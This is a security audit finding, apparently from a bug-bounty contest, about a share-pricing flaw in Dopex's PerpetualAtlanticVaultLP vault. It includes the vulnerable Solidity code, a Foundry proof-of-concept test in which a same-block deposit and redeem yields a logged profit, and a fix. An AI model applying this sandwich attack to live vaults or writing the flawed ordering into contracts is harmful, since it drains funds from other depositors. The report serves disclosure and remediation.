Users can get immediate profit when deposit and redeem in PerpetualAtlanticVaultLP
The deposit function calculates shares before updating funding, so a user can deposit and redeem in the same block to capture a share of the funding payment that should belong to existing depositors. This allows immediate profit at the expense of the vault.
Submitted by said, also found by 0xkazim, glcanvas (1, 2), Toshii, KrisApostolov, HHK, Tendency, Evo, bin2chen, bart1e, peakbolt (1, 2, 3), AkshaySrivastav (1, 2), 0Kage, sces60107, qpzm, ubermensch, mahdikarimi, 836541 (1, 2), Neon2835, nobody2018, carrotsmuggler, lanrebayode77, tapir, volodya, gjaldon, 0xCiphky (1, 2), HChang26, max10afternoon, rvierdiiev (1, 2), chaduke, QiuhaoLi, etherhood, and josephdara
Due to wrong order between previewDeposit and updateFunding inside PerpetualAtlanticVaultLP.deposit. In some case, user can get immediate profit when call deposit and redeem in the same block.
Proof of Concept
When deposit is called, first previewDeposit will be called to get the shares based on assets provided.
function deposit(
uint256 assets,
address receiver
) public virtual returns (uint256 shares) {
// Check for rounding error since we round down in previewDeposit.
>>> require((shares = previewDeposit(assets)) != 0, "ZERO_SHARES");
>>> perpetualAtlanticVault.updateFunding();
// Need to transfer before minting or ERC777s could reenter.
collateral.transferFrom(msg.sender, address(this), assets);
_mint(receiver, shares);
_totalCollateral += assets;
emit Deposit(msg.sender, receiver, assets, shares);
}
Inside previewDeposit, it will call convertToShares to calculate the shares.
function previewDeposit(uint256 assets) public view returns (uint256) {
return convertToShares(assets);
}
convertToShares calculate shares based on the provided assets, supply and totalVaultCollateral. _totalCollateral is also part of totalVaultCollateral that will be used inside the calculation.
function convertToShares(
uint256 assets
) public view returns (uint256 shares) {
uint256 supply = totalSupply;
uint256 rdpxPriceInAlphaToken = perpetualAtlanticVault.getUnderlyingPrice();
uint256 totalVaultCollateral = totalCollateral() +
((_rdpxCollateral * rdpxPriceInAlphaToken) / 1e8);
return
supply == 0 ? assets : assets.mulDivDown(supply, totalVaultCollateral);
}
After the shares calculation, perpetualAtlanticVault.updateFunding will be called, this function will send collateral to vault LP if conditions are met and increase _totalCollateral.
function updateFunding() public {
updateFundingPaymentPointer();
uint256 currentFundingRate = fundingRates[latestFundingPaymentPointer];
uint256 startTime = lastUpdateTime == 0
? (nextFundingPaymentTimestamp() - fundingDuration)
: lastUpdateTime;
lastUpdateTime = block.timestamp;
>>> collateralToken.safeTransfer(
addresses.perpetualAtlanticVaultLP,
(currentFundingRate * (block.timestamp - startTime)) / 1e18
);
>>> IPerpetualAtlanticVaultLP(addresses.perpetualAtlanticVaultLP).addProceeds(
(currentFundingRate * (block.timestamp - startTime)) / 1e18
);
emit FundingPaid(
msg.sender,
((currentFundingRate * (block.timestamp - startTime)) / 1e18),
latestFundingPaymentPointer
);
}
It means if _totalCollateral is increased, user can get immediate profit when they call redeem.
function redeem(
uint256 shares,
address receiver,
address owner
) public returns (uint256 assets, uint256 rdpxAmount) {
perpetualAtlanticVault.updateFunding();
if (msg.sender != owner) {
uint256 allowed = allowance[owner][msg.sender]; // Saves gas for limited approvals.
if (allowed != type(uint256).max) {
allowance[owner][msg.sender] = allowed - shares;
}
}
>>> (assets, rdpxAmount) = redeemPreview(shares);
// Check for rounding error since we round down in previewRedeem.
require(assets != 0, "ZERO_ASSETS");
_rdpxCollateral -= rdpxAmount;
beforeWithdraw(assets, shares);
_burn(owner, shares);
collateral.transfer(receiver, assets);
IERC20WithBurn(rdpx).safeTransfer(receiver, rdpxAmount);
emit Withdraw(msg.sender, receiver, owner, assets, shares);
}
When redeemPreview is called and trigger _convertToAssets, it will used this newly increased _totalCollateral.
function _convertToAssets(
uint256 shares
) internal view virtual returns (uint256 assets, uint256 rdpxAmount) {
uint256 supply = totalSupply;
return
(supply == 0)
? (shares, 0)
: (
>>> shares.mulDivDown(totalCollateral(), supply),
shares.mulDivDown(_rdpxCollateral, supply)
);
}
This will open sandwich and MEV attack opportunity inside vault LP.
Foundry PoC :
Add this test to Unit contract inside /tests/rdpxV2-core/Unit.t.sol, also add import "forge-std/console.sol"; in the contract :
function testSandwichProvideFunding() public {
rdpxV2Core.bond(20 * 1e18, 0, address(this));
rdpxV2Core.bond(20 * 1e18, 0, address(this));
skip(86400 * 7);
vault.addToContractWhitelist(address(rdpxV2Core));
vault.updateFundingPaymentPointer();
// test funding succesfully
uint256[] memory strikes = new uint256[](1);
strikes[0] = 15e6;
// calculate funding is done properly
vault.calculateFunding(strikes);
uint256 funding = vault.totalFundingForEpoch(
vault.latestFundingPaymentPointer()
);
// send funding to rdpxV2Core and call sync
weth.transfer(address(rdpxV2Core), funding);
rdpxV2Core.sync();
rdpxV2Core.provideFunding();
skip(86400 * 6);
uint256 balanceBefore = weth.balanceOf(address(this));
console.log("balance of eth before deposit and redeem:");
console.log(balanceBefore);
weth.approve(address(vaultLp), type(uint256).max);
uint256 shares = vaultLp.deposit(1e18, address(this));
vaultLp.redeem(shares, address(this), address(this));
uint256 balanceAfter = weth.balanceOf(address(this));
console.log("balance after deposit and redeem:");
console.log(balanceAfter);
console.log("immediate profit :");
console.log(balanceAfter - balanceBefore);
}
Run the test :
forge test --match-contract Unit --match-test testSandwichProvideFunding -vvv
Log Output :
Logs:
balance of eth before deposit and redeem:
18665279470073000000000
balance after deposit and redeem:
18665299797412715619861
immediate profit :
20327339715619861
Recommended Mitigation Steps
Move perpetualAtlanticVault.updateFunding before previewDeposit is calculated.
function deposit(
uint256 assets,
address receiver
) public virtual returns (uint256 shares) {
+ perpetualAtlanticVault.updateFunding();
// Check for rounding error since we round down in previewDeposit.
require((shares = previewDeposit(assets)) != 0, "ZERO_SHARES");
- perpetualAtlanticVault.updateFunding();
// Need to transfer before minting or ERC777s could reenter.
collateral.transferFrom(msg.sender, address(this), assets);
_mint(receiver, shares);
_totalCollateral += assets;
emit Deposit(msg.sender, receiver, assets, shares);
}
witherblock (Dopex) disagreed with severity and commented:
Please bump this to high
Alex the Entreprenerd (Judge) increased severity to High
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The deposit function calls previewDeposit to calculate shares before calling updateFunding, which increases the vault's collateral and thus the value per share.
Impact
An attacker could sandwich the funding update to make an immediate profit, taking value from the vault and other depositors.
What the attacker needed
Funding update pending; ability to deposit and redeem in same block
The fix
The updateFunding call should be moved before previewDeposit is calculated.
How it was found
- Call deposit with some assets, which calculates shares using the current total collateral before funding is updated.
- The deposit function then calls updateFunding, which transfers collateral to the vault and increases total collateral.
- Call redeem with the shares received, which now uses the increased total collateral to calculate a larger amount of assets.
- Receive more assets than deposited, making an immediate profit.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A vault is a shared pool where people put in tokens and get shares. When new money is added to the pool, each share becomes worth more. Here, the deposit function first works out how many shares you get, then adds new money to the pool. So you get shares at the old, lower value, and immediately after the pool becomes more valuable. You can then redeem your shares for more than you put in, taking profit from the other users.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.